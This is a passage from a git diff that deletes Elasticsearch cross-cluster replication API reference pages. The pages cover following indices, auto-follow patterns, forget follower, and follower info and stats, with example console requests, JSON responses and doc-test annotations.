-This API resumes an <<ccr-auto-follow,auto-follow pattern>> that has been paused with the
-<<ccr-pause-auto-follow-pattern, pause auto-follow pattern API>>. When this API
-returns, the auto-follow pattern will resume configuring following indices for
-newly created indices on the remote cluster that match its patterns. Remote
-indices created while the pattern was paused will also be followed, unless they
-have been deleted or closed in the meantime.
-
-[[ccr-resume-auto-follow-pattern-path-parms]]
-==== {api-path-parms-title}
-
-`<auto_follow_pattern_name>`::
-  (Required, string) Specifies the name of the auto-follow pattern to resume.
-
-
-[[ccr-resume-auto-follow-pattern-examples]]
-==== {api-examples-title}
-
-This example resumes the activity of a paused auto-follow pattern
-named `my_auto_follow_pattern`:
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /_ccr/auto_follow/my_auto_follow_pattern
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index_patterns" :
-  [
-    "leader_index"
-  ],
-  "follow_index_pattern" : "{{leader_index}}-follower"
-}
---------------------------------------------------
-// TEST[setup:remote_cluster]
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE /_ccr/auto_follow/my_auto_follow_pattern
---------------------------------------------------
-// TEST
-// TEARDOWN
-
-[source,console]
---------------------------------------------------
-POST /_ccr/auto_follow/my_auto_follow_pattern/pause
---------------------------------------------------
-// TEST
-
-//////////////////////////
-[source,console]
---------------------------------------------------
-POST /_ccr/auto_follow/my_auto_follow_pattern/resume
---------------------------------------------------
-// TEST
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/ccr-apis.asciidoc b/docs/reference/ccr/apis/ccr-apis.asciidoc
deleted file mode 100644
index dea1f1603e4..00000000000
--- a/docs/reference/ccr/apis/ccr-apis.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-apis]]
-== {ccr-cap} APIs
-
-You can use the following APIs to perform {ccr} operations.
-
-[discrete]
-[[ccr-api-top-level]]
-=== Top-Level
-
-* <<ccr-get-stats,Get {ccr} stats>>
-
-[discrete]
-[[ccr-api-follow]]
-=== Follow
-
-* <<ccr-put-follow,Create follower index>>
-* <<ccr-post-pause-follow,Pause follower>>
-* <<ccr-post-resume-follow,Resume follower>>
-* <<ccr-post-unfollow,Convert follower index to a regular index>>
-* <<ccr-post-forget-follower,Remove follower retention leases from the leader>>
-* <<ccr-get-follow-stats,Get stats about follower indices>>
-* <<ccr-get-follow-info,Get info about follower indices>>
-
-[discrete]
-[[ccr-api-auto-follow]]
-=== Auto-follow
-
-* <<ccr-put-auto-follow-pattern,Create auto-follow pattern>>
-* <<ccr-delete-auto-follow-pattern,Delete auto-follow pattern>>
-* <<ccr-get-auto-follow-pattern,Get auto-follow patterns>>
-* <<ccr-pause-auto-follow-pattern,Pause auto-follow pattern>>
-* <<ccr-resume-auto-follow-pattern,Resume auto-follow pattern>>
-
-// top-level
-include::get-ccr-stats.asciidoc[]
-
-// follow
-include::follow/put-follow.asciidoc[]
-include::follow/post-pause-follow.asciidoc[]
-include::follow/post-resume-follow.asciidoc[]
-include::follow/post-unfollow.asciidoc[]
-include::follow/post-forget-follower.asciidoc[]
-include::follow/get-follow-stats.asciidoc[]
-include::follow/get-follow-info.asciidoc[]
-
-// auto-follow
-include::auto-follow/put-auto-follow-pattern.asciidoc[]
-include::auto-follow/delete-auto-follow-pattern.asciidoc[]
-include::auto-follow/get-auto-follow-pattern.asciidoc[]
-include::auto-follow/pause-auto-follow-pattern.asciidoc[]
-include::auto-follow/resume-auto-follow-pattern.asciidoc[]
diff --git a/docs/reference/ccr/apis/follow-request-body.asciidoc b/docs/reference/ccr/apis/follow-request-body.asciidoc
deleted file mode 100644
index e474f272246..00000000000
--- a/docs/reference/ccr/apis/follow-request-body.asciidoc
+++ /dev/null
@@ -1,104 +0,0 @@
-[testenv="platinum"]
-`settings`::
-  (object) Settings to override from the leader index. Note that certain
-  settings can not be overrode (e.g., `index.number_of_shards`).
-
-`max_read_request_operation_count`::
-  (integer) The maximum number of operations to pull per read from the remote
-  cluster.
-
-`max_outstanding_read_requests`::
-  (long) The maximum number of outstanding reads requests from the remote
-  cluster.
-
-`max_read_request_size`::
-  (<<byte-units,byte value>>) The maximum size in bytes of per read of a batch
-  of operations pulled from the remote cluster.
-
-`max_write_request_operation_count`::
-  (integer) The maximum number of operations per bulk write request executed on
-  the follower.
-
-`max_write_request_size`::
-  (<<byte-units,byte value>>) The maximum total bytes of operations per bulk write request
-  executed on the follower.
-
-`max_outstanding_write_requests`::
-  (integer) The maximum number of outstanding write requests on the follower.
-
-`max_write_buffer_count`::
-  (integer) The maximum number of operations that can be queued for writing.
-  When this limit is reached, reads from the remote cluster will be deferred
-  until the number of queued operations goes below the limit.
-
-`max_write_buffer_size`::
-  (<<byte-units,byte value>>) The maximum total bytes of operations that can be
-  queued for
-  writing. When this limit is reached, reads from the remote cluster will be
-  deferred until the total bytes of queued operations goes below the limit.
-
-`max_retry_delay`::
-  (<<time-units,time value>>) The maximum time to wait before retrying an
-  operation that failed exceptionally. An exponential backoff strategy is
-  employed when retrying.
-
-`read_poll_timeout`::
-  (<<time-units,time value>>) The maximum time to wait for new operations on the
-  remote cluster when the follower index is synchronized with the leader index.
-  When the timeout has elapsed, the poll for operations will return to the
-  follower so that it can update some statistics. Then the follower will
-  immediately attempt to read from the leader again.
-
-===== Default values
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
---------------------------------------------------
-// TESTSETUP
-// TEST[setup:remote_cluster_and_leader_index]
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TEARDOWN
-
-[source,console]
---------------------------------------------------
-GET /follower_index/_ccr/info?filter_path=follower_indices.parameters
---------------------------------------------------
-
-//////////////////////////
-
-The following output from the follow info api describes all the default
-values for the above described index follow request parameters:
-
-[source,console-result]
---------------------------------------------------
-{
-  "follower_indices" : [
-    {
-      "parameters" : {
-        "max_read_request_operation_count" : 5120,
-        "max_read_request_size" : "32mb",
-        "max_outstanding_read_requests" : 12,
-        "max_write_request_operation_count" : 5120,
-        "max_write_request_size" : "9223372036854775807b",
-        "max_outstanding_write_requests" : 9,
-        "max_write_buffer_count" : 2147483647,
-        "max_write_buffer_size" : "512mb",
-        "max_retry_delay" : "500ms",
-        "read_poll_timeout" : "1m"
-      }
-    }
-  ]
-}
-
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/follow/get-follow-info.asciidoc b/docs/reference/ccr/apis/follow/get-follow-info.asciidoc
deleted file mode 100644
index f98cf0f281a..00000000000
--- a/docs/reference/ccr/apis/follow/get-follow-info.asciidoc
+++ /dev/null
@@ -1,199 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-get-follow-info]]
-=== Get follower info API
-++++
-<titleabbrev>Get follower info</titleabbrev>
-++++
-
-Retrieves information about all follower indices.
-
-[[ccr-get-follow-info-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
---------------------------------------------------
-// TESTSETUP
-// TEST[setup:remote_cluster_and_leader_index]
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET /<index>/_ccr/info
---------------------------------------------------
-// TEST[s/<index>/follower_index/]
-
-[[ccr-get-follow-info-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor` cluster
-privileges. For more information, see <<security-privileges>>.
-
-[[ccr-get-follow-info-desc]]
-==== {api-description-title}
-
-This API lists the parameters and the status for each follower index.
-For example, the results include follower index names, leader index names,
-replication options and whether the follower indices are active or paused.
-
-[[ccr-get-follow-info-path-parms]]
-==== {api-path-parms-title}
-
-`<index>`::
-  (Required, string) A comma-delimited list of follower index patterns.
-
-[role="child_attributes"]
-[[ccr-get-follow-info-response-body]]
-==== {api-response-body-title}
-
-//Begin follower_indices
-`follower_indices`::
-(array) An array of follower index statistics.
-+
-.Properties of objects in `follower_indices`
-[%collapsible%open]
-====
-`follower_index`::
-(string) The name of the follower index.
-
-`leader_index`::
-(string) The name of the index in the leader cluster that is followed.
-
-//Begin parameters
-`parameters`::
-(object) An object that encapsulates {ccr} parameters. If the follower index's `status` is `paused`,
-this object is omitted.
-+
-.Properties of `parameters`
-[%collapsible%open]
-=====
-`max_outstanding_read_requests`::
-(long) The maximum number of outstanding read requests from the remote cluster.
-
-`max_outstanding_write_requests`::
-(integer) The maximum number of outstanding write requests on the follower.
-
-`max_read_request_operation_count`::
-(integer) The maximum number of operations to pull per read from the remote
-cluster.
-
-`max_read_request_size`::
-(<<byte-units,byte value>>) The maximum size in bytes of per read of a batch of
-operations pulled from the remote cluster.
-
-`max_retry_delay`::
-(<<time-units,time value>>) The maximum time to wait before retrying an
-operation that failed exceptionally. An exponential backoff strategy is employed
-when retrying.
-
-`max_write_buffer_count`::
-(integer) The maximum number of operations that can be queued for writing. When
-this limit is reached, reads from the remote cluster are deferred until the
-number of queued operations goes below the limit.
-
-`max_write_buffer_size`::
-(<<byte-units,byte value>>) The maximum total bytes of operations that can be
-queued for writing. When this limit is reached, reads from the remote cluster
-are deferred until the total bytes of queued operations goes below the limit.
-
-`max_write_request_operation_count`::
-(integer) The maximum number of operations per bulk write request executed on
-the follower.
-
-`max_write_request_size`::
-(<<byte-units,byte value>>) The maximum total bytes of operations per bulk write
-request executed on the follower.
-
-`read_poll_timeout`::
-(<<time-units,time value>>) The maximum time to wait for new operations on the
-remote cluster when the follower index is synchronized with the leader index.
-When the timeout has elapsed, the poll for operations returns to the follower so
-that it can update some statistics, then the follower immediately attempts
-to read from the leader again.
-=====
-//End parameters
-
-`remote_cluster`::
-(string) The <<modules-remote-clusters,remote cluster>> that contains the
-leader index.
-
-`status`::
-(string) Whether index following is `active` or `paused`.
-====
-//End follower_indices
-
-[[ccr-get-follow-info-examples]]
-==== {api-examples-title}
-
-This example retrieves follower info:
-
-[source,console]
---------------------------------------------------
-GET /follower_index/_ccr/info
---------------------------------------------------
-
-If the follower index is `active`, the API returns the following results:
-
-[source,console-result]
---------------------------------------------------
-{
-  "follower_indices": [
-    {
-      "follower_index": "follower_index",
-      "remote_cluster": "remote_cluster",
-      "leader_index": "leader_index",
-      "status": "active",
-      "parameters": {
-        "max_read_request_operation_count": 5120,
-        "max_read_request_size": "32mb",
-        "max_outstanding_read_requests": 12,
-        "max_write_request_operation_count": 5120,
-        "max_write_request_size": "9223372036854775807b",
-        "max_outstanding_write_requests": 9,
-        "max_write_buffer_count": 2147483647,
-        "max_write_buffer_size": "512mb",
-        "max_retry_delay": "500ms",
-        "read_poll_timeout": "1m"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-////
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TEST[continued]
-
-[source,console]
---------------------------------------------------
-GET /follower_index/_ccr/info
---------------------------------------------------
-// TEST[continued]
-////
-
-If the follower index is `paused`, the API returns the following results:
-
-[source,console-result]
---------------------------------------------------
-{
-  "follower_indices": [
-    {
-      "follower_index": "follower_index",
-      "remote_cluster": "remote_cluster",
-      "leader_index": "leader_index",
-      "status": "paused"
-    }
-  ]
-}
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/follow/get-follow-stats.asciidoc b/docs/reference/ccr/apis/follow/get-follow-stats.asciidoc
deleted file mode 100644
index c3017d74bd8..00000000000
--- a/docs/reference/ccr/apis/follow/get-follow-stats.asciidoc
+++ /dev/null
@@ -1,281 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-get-follow-stats]]
-=== Get follower stats API
-++++
-<titleabbrev>Get follower stats</titleabbrev>
-++++
-
-Get follower stats.
-
-[[ccr-get-follow-stats-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
---------------------------------------------------
-// TESTSETUP
-// TEST[setup:remote_cluster_and_leader_index]
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET /<index>/_ccr/stats
---------------------------------------------------
-// TEST[s/<index>/follower_index/]
-
-[[ccr-get-follow-stats-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor` cluster
-privileges on the cluster that contains the follower index. For more information,
-see <<security-privileges>>.
-
-[[ccr-get-follow-stats-desc]]
-==== {api-description-title}
-
-This API gets follower stats. This API will return shard-level stats about the
-following tasks associated with each shard for the specified indices.
-
-[[ccr-get-follow-stats-path-parms]]
-==== {api-path-parms-title}
-
-`<index>`::
-  (Required, string) A comma-delimited list of index patterns.
-
-[role="child_attributes"]
-[[ccr-get-follow-stats-response-body]]
-==== {api-response-body-title}
-
-//Begin indices
-`indices`::
-(array) An array of follower index statistics.
-+
-.Properties of `indices`
-[%collapsible%open]
-====
-`fatal_exception`::
-(object) An object representing a fatal exception that cancelled the following
-task. In this situation, the following task must be resumed manually with the
-<<ccr-post-resume-follow,resume follower API>>.
-
-`index`::
-(string) The name of the follower index.
-
-//Begin shards
-`shards`::
-(array) An array of shard-level following task statistics.
-+
-.Properties of objects in `shards`
-[%collapsible%open]
-=====
-`bytes_read`::
-(long) The total of transferred bytes read from the leader.
-+
---
-NOTE: This is only an estimate and does not account for compression if enabled.
-
---
-
-`failed_read_requests`::
-(long) The number of failed reads.
-
-failed_write_requests`::
-(long) The number of failed bulk write requests executed on the follower.
-
-`follower_aliases_version`::
-(long) The index aliases version the follower is synced up to.
-
-`follower_global_checkpoint`::
-(long) The current global checkpoint on the follower. The difference between the
-`leader_global_checkpoint` and the `follower_global_checkpoint` is an
-indication of how much the follower is lagging the leader.
-
-`follower_index`::
-(string) The name of the follower index.
-
-`follower_mapping_version`::
-(long) The mapping version the follower is synced up to.
-
-`follower_max_seq_no`::
-(long) The current maximum sequence number on the follower.
-
-`follower_settings_version`::
-(long) The index settings version the follower is synced up to.
-
-`last_requested_seq_no`::
-(long) The starting sequence number of the last batch of operations requested
-from the leader.
-
-`leader_global_checkpoint`::
-(long) The current global checkpoint on the leader known to the follower task.
-
-`leader_index`::
-(string) The name of the index in the leader cluster being followed.
-
-`leader_max_seq_no`::
-(long) The current maximum sequence number on the leader known to the follower
-task.
-
-`operations_read`::
-(long) The total number of operations read from the leader.
-
-operations_written`::
-(long) The number of operations written on the follower.
-
-`outstanding_read_requests`::
-(integer) The number of active read requests from the follower.
-
-`outstanding_write_requests`::
-(integer) The number of active bulk write requests on the follower.
-
-//Begin read_exceptions
-`read_exceptions`::
-(array) An array of objects representing failed reads.
-+
-.Properties of objects in `read_exceptions`
-[%collapsible%open]
-======
-`exception`::
-(object) Represents the exception that caused the read to fail.
-
-`from_seq_no`::
-(long) The starting sequence number of the batch requested from the leader.
-
-`retries`::
-(integer) The number of times the batch has been retried.
-======
-//End read_exceptions
-
-`remote_cluster`::
-(string) The <<modules-remote-clusters,remote cluster>> containing the leader
-index.
-
-`shard_id`::
-(integer) The numerical shard ID, with values from 0 to one less than the
-number of replicas.
-
-`successful_read_requests`::
-(long) The number of successful fetches.
-
-`successful_write_requests`::
-(long) The number of bulk write requests executed on the follower.
-
-`time_since_last_read_millis`::
-(long) The number of milliseconds since a read request was sent to the leader.
-+
-NOTE: When the follower is caught up to the leader, this number will increase up
-to the configured `read_poll_timeout` at which point another read request will
-be sent to the leader.
-
-`total_read_remote_exec_time_millis`::
-(long) The total time reads spent executing on the remote cluster.
-
-`total_read_time_millis`::
-(long) The total time reads were outstanding, measured from the time a read was
-sent to the leader to the time a reply was returned to the follower.
-
-`total_write_time_millis`::
-(long) The total time spent writing on the follower.
-
-`write_buffer_operation_count`::
-(integer) The number of write operations queued on the follower.
-
-write_buffer_size_in_bytes`::
-(long) The total number of bytes of operations currently queued for writing.
-=====
-//End shards
-====
-//End indices
-
-[[ccr-get-follow-stats-examples]]
-==== {api-examples-title}
-
-This example retrieves follower stats:
-
-[source,console]
---------------------------------------------------
-GET /follower_index/_ccr/stats
---------------------------------------------------
-
-The API returns the following results:
-
-[source,console-result]
---------------------------------------------------
-{
-  "indices" : [
-    {
-      "index" : "follower_index",
-      "shards" : [
-        {
-          "remote_cluster" : "remote_cluster",
-          "leader_index" : "leader_index",
-          "follower_index" : "follower_index",
-          "shard_id" : 0,
-          "leader_global_checkpoint" : 1024,
-          "leader_max_seq_no" : 1536,
-          "follower_global_checkpoint" : 768,
-          "follower_max_seq_no" : 896,
-          "last_requested_seq_no" : 897,
-          "outstanding_read_requests" : 8,
-          "outstanding_write_requests" : 2,
-          "write_buffer_operation_count" : 64,
-          "follower_mapping_version" : 4,
-          "follower_settings_version" : 2,
-          "follower_aliases_version" : 8,
-          "total_read_time_millis" : 32768,
-          "total_read_remote_exec_time_millis" : 16384,
-          "successful_read_requests" : 32,
-          "failed_read_requests" : 0,
-          "operations_read" : 896,
-          "bytes_read" : 32768,
-          "total_write_time_millis" : 16384,
-          "write_buffer_size_in_bytes" : 1536,
-          "successful_write_requests" : 16,
-          "failed_write_requests" : 0,
-          "operations_written" : 832,
-          "read_exceptions" : [ ],
-          "time_since_last_read_millis" : 8
-        }
-      ]
-    }
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/"leader_global_checkpoint" : 1024/"leader_global_checkpoint" : $body.indices.0.shards.0.leader_global_checkpoint/]
-// TESTRESPONSE[s/"leader_max_seq_no" : 1536/"leader_max_seq_no" : $body.indices.0.shards.0.leader_max_seq_no/]
-// TESTRESPONSE[s/"follower_global_checkpoint" : 768/"follower_global_checkpoint" : $body.indices.0.shards.0.follower_global_checkpoint/]
-// TESTRESPONSE[s/"follower_max_seq_no" : 896/"follower_max_seq_no" : $body.indices.0.shards.0.follower_max_seq_no/]
-// TESTRESPONSE[s/"last_requested_seq_no" : 897/"last_requested_seq_no" : $body.indices.0.shards.0.last_requested_seq_no/]
-// TESTRESPONSE[s/"outstanding_read_requests" : 8/"outstanding_read_requests" : $body.indices.0.shards.0.outstanding_read_requests/]
-// TESTRESPONSE[s/"outstanding_write_requests" : 2/"outstanding_write_requests" : $body.indices.0.shards.0.outstanding_write_requests/]
-// TESTRESPONSE[s/"write_buffer_operation_count" : 64/"write_buffer_operation_count" : $body.indices.0.shards.0.write_buffer_operation_count/]
-// TESTRESPONSE[s/"follower_mapping_version" : 4/"follower_mapping_version" : $body.indices.0.shards.0.follower_mapping_version/]
-// TESTRESPONSE[s/"follower_settings_version" : 2/"follower_settings_version" : $body.indices.0.shards.0.follower_settings_version/]
-// TESTRESPONSE[s/"follower_aliases_version" : 8/"follower_aliases_version" : $body.indices.0.shards.0.follower_aliases_version/]
-// TESTRESPONSE[s/"total_read_time_millis" : 32768/"total_read_time_millis" : $body.indices.0.shards.0.total_read_time_millis/]
-// TESTRESPONSE[s/"total_read_remote_exec_time_millis" : 16384/"total_read_remote_exec_time_millis" : $body.indices.0.shards.0.total_read_remote_exec_time_millis/]
-// TESTRESPONSE[s/"successful_read_requests" : 32/"successful_read_requests" : $body.indices.0.shards.0.successful_read_requests/]
-// TESTRESPONSE[s/"failed_read_requests" : 0/"failed_read_requests" : $body.indices.0.shards.0.failed_read_requests/]
-// TESTRESPONSE[s/"operations_read" : 896/"operations_read" : $body.indices.0.shards.0.operations_read/]
-// TESTRESPONSE[s/"bytes_read" : 32768/"bytes_read" : $body.indices.0.shards.0.bytes_read/]
-// TESTRESPONSE[s/"total_write_time_millis" : 16384/"total_write_time_millis" : $body.indices.0.shards.0.total_write_time_millis/]
-// TESTRESPONSE[s/"write_buffer_size_in_bytes" : 1536/"write_buffer_size_in_bytes" : $body.indices.0.shards.0.write_buffer_size_in_bytes/]
-// TESTRESPONSE[s/"successful_write_requests" : 16/"successful_write_requests" : $body.indices.0.shards.0.successful_write_requests/]
-// TESTRESPONSE[s/"failed_write_requests" : 0/"failed_write_requests" : $body.indices.0.shards.0.failed_write_requests/]
-// TESTRESPONSE[s/"operations_written" : 832/"operations_written" : $body.indices.0.shards.0.operations_written/]
-// TESTRESPONSE[s/"time_since_last_read_millis" : 8/"time_since_last_read_millis" : $body.indices.0.shards.0.time_since_last_read_millis/]
diff --git a/docs/reference/ccr/apis/follow/post-forget-follower.asciidoc b/docs/reference/ccr/apis/follow/post-forget-follower.asciidoc
deleted file mode 100644
index 3b2e588f9e6..00000000000
--- a/docs/reference/ccr/apis/follow/post-forget-follower.asciidoc
+++ /dev/null
@@ -1,155 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-post-forget-follower]]
-=== Forget follower API
-++++
-<titleabbrev>Forget follower</titleabbrev>
-++++
-
-Removes the follower retention leases from the leader.
-
-[[ccr-post-forget-follower-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
---------------------------------------------------
-// TESTSETUP
-// TEST[setup:remote_cluster_and_leader_index]
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /<leader_index>/_ccr/forget_follower
-{
-  "follower_cluster" : "<follower_cluster>",
-  "follower_index" : "<follower_index>",
-  "follower_index_uuid" : "<follower_index_uuid>",
-  "leader_remote_cluster" : "<leader_remote_cluster>"
-}
---------------------------------------------------
-// TEST[s/<leader_index>/leader_index/]
-// TEST[s/<follower_cluster>/follower_cluster/]
-// TEST[s/<follower_index>/follower_index/]
-// TEST[s/<follower_index_uuid>/follower_index_uuid/]
-// TEST[s/<leader_remote_cluster>/leader_remote_cluster/]
-// TEST[skip_shard_failures]
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "failed" : 0,
-    "failures" : [ ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"total" : 1/"total" : $body._shards.total/]
-// TESTRESPONSE[s/"successful" : 1/"successful" : $body._shards.successful/]
-// TESTRESPONSE[s/"failed" : 0/"failed" : $body._shards.failed/]
-// TESTRESPONSE[s/"failures" : \[ \]/"failures" : $body._shards.failures/]
-
-[[ccr-post-forget-follower-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_leader_index`
-index privileges for the leader index. For more information, see
-<<security-privileges>>.
-
-[[ccr-post-forget-follower-desc]]
-==== {api-description-title}
-
-A following index takes out retention leases on its leader index. These
-retention leases are used to increase the likelihood that the shards of the
-leader index retain the history of operations that the shards of the following
-index need to execute replication. When a follower index is converted to a
-regular index via the <<ccr-post-unfollow,unfollow API>> (either via explicit
-execution of this API, or implicitly via {ilm}), these retention leases are
-removed. However, removing these retention leases can fail (e.g., if the remote
-cluster containing the leader index is unavailable). While these retention
-leases will eventually expire on their own, their extended existence can cause
-the leader index to hold more history than necessary, and prevent {ilm} from
-performing some operations on the leader index. This API exists to enable
-manually removing these retention leases when the unfollow API was unable to do
-so.
-
-NOTE: This API does not stop replication by a following index. If you use this
-API targeting a follower index that is still actively following, the following
-index will add back retention leases on the leader. The only purpose of this API
-is to handle the case of failure to remove the following retention leases after
-the <<ccr-post-unfollow,unfollow API>> is invoked.
-
-[[ccr-post-forget-follower-path-parms]]
-==== {api-path-parms-title}
-
-`<leader_index>`::
-  (Required, string) The name of the leader index.
-
-[[ccr-post-forget-follower-request-body]]
-==== {api-request-body-title}
-
-`follower_cluster`::
-  (Required, string) The name of the cluster containing the follower index.
-
-`follower_index`::
-  (Required, string) The name of the follower index.
-
-`follower_index_uuid`::
-  (Required, string) The UUID of the follower index.
-
-`leader_remote_cluster`::
-  (Required, string) The alias (from the perspective of the cluster containing
-  the follower index) of the <<modules-remote-clusters,remote cluster>>
-  containing the leader index.
-
-[[ccr-post-forget-follower-examples]]
-==== {api-examples-title}
-
-This example removes the follower retention leases for `follower_index` from
-`leader_index`.
-
-[source,console]
---------------------------------------------------
-POST /leader_index/_ccr/forget_follower
-{
-  "follower_cluster" : "follower_cluster",
-  "follower_index" : "follower_index",
-  "follower_index_uuid" : "vYpnaWPRQB6mNspmoCeYyA",
-  "leader_remote_cluster" : "leader_cluster"
-}
---------------------------------------------------
-// TEST[skip_shard_failures]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "failed" : 0,
-    "failures" : [ ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"total" : 1/"total" : $body._shards.total/]
-// TESTRESPONSE[s/"successful" : 1/"successful" : $body._shards.successful/]
-// TESTRESPONSE[s/"failed" : 0/"failed" : $body._shards.failed/]
-// TESTRESPONSE[s/"failures" : \[ \]/"failures" : $body._shards.failures/]
diff --git a/docs/reference/ccr/apis/follow/post-pause-follow.asciidoc b/docs/reference/ccr/apis/follow/post-pause-follow.asciidoc
deleted file mode 100644
index 196fd8dc9f6..00000000000
--- a/docs/reference/ccr/apis/follow/post-pause-follow.asciidoc
+++ /dev/null
@@ -1,75 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-post-pause-follow]]
-=== Pause follower API
-++++
-<titleabbrev>Pause follower</titleabbrev>
-++++
-
-Pauses a follower index.
-
-[[ccr-post-pause-follow-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
---------------------------------------------------
-// TESTSETUP
-// TEST[setup:remote_cluster_and_leader_index]
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /<follower_index>/_ccr/pause_follow
---------------------------------------------------
-// TEST[s/<follower_index>/follower_index/]
-
-[[ccr-post-pause-follow-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ccr` cluster
-privileges on the cluster that contains the follower index. For more information,
-see <<security-privileges>>.
-
-[[ccr-post-pause-follow-desc]]
-==== {api-description-title}
-
-This API pauses a follower index. When this API returns, the follower index will
-not fetch any additional operations from the leader index. You can resume
-following with the <<ccr-post-resume-follow,resume follower API>>. Pausing and
-resuming a follower index can be used to change the configuration of the
-following task.
-
-[[ccr-post-pause-follow-path-parms]]
-==== {api-path-parms-title}
-
-`<follower_index>`::
-  (Required, string) The name of the follower index.
-
-[[ccr-post-pause-follow-examples]]
-==== {api-examples-title}
-
-This example pauses a follower index named `follower_index`:
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TEST
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
diff --git a/docs/reference/ccr/apis/follow/post-resume-follow.asciidoc b/docs/reference/ccr/apis/follow/post-resume-follow.asciidoc
deleted file mode 100644
index 32ef91f8356..00000000000
--- a/docs/reference/ccr/apis/follow/post-resume-follow.asciidoc
+++ /dev/null
@@ -1,103 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-post-resume-follow]]
-=== Resume follower API
-++++
-<titleabbrev>Resume follower</titleabbrev>
-++++
-
-Resumes a follower index.
-
-[[ccr-post-resume-follow-request]]
-==== {api-request-title}
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
-
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TESTSETUP
-// TEST[setup:remote_cluster_and_leader_index]
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /<follower_index>/_ccr/resume_follow
-{
-}
---------------------------------------------------
-// TEST[s/<follower_index>/follower_index/]
-// TEST[s/<remote_cluster>/remote_cluster/]
-// TEST[s/<leader_index>/leader_index/]
-
-[[ccr-post-resume-follow-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `write` and `monitor`
-index privileges for the follower index. You must have `read` and `monitor`
-index privileges for the leader index. You must also have `manage_ccr` cluster
-privileges on the cluster that contains the follower index. For more information,
-see <<security-privileges>>.
-
-[[ccr-post-resume-follow-desc]]
-==== {api-description-title}
-
-This API resumes a follower index that has been paused either explicitly with
-the <<ccr-post-pause-follow, pause follower API>> or implicitly due to
-execution that can not be retried due to failure during following. When this API
-returns, the follower index will resume fetching operations from the leader index.
-
-[[ccr-post-resume-follow-path-parms]]
-==== {api-path-parms-title}
-
-`<follower_index>`::
-  (Required, string) The name of the follower index.
-
-[[ccr-post-resume-follow-request-body]]
-==== {api-request-body-title}
-include::../follow-request-body.asciidoc[]
-
-[[ccr-post-resume-follow-examples]]
-==== {api-examples-title}
-
-This example resumes a follower index named `follower_index`:
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/resume_follow
-{
-  "max_read_request_operation_count" : 1024,
-  "max_outstanding_read_requests" : 16,
-  "max_read_request_size" : "1024k",
-  "max_write_request_operation_count" : 32768,
-  "max_write_request_size" : "16k",
-  "max_outstanding_write_requests" : 8,
-  "max_write_buffer_count" : 512,
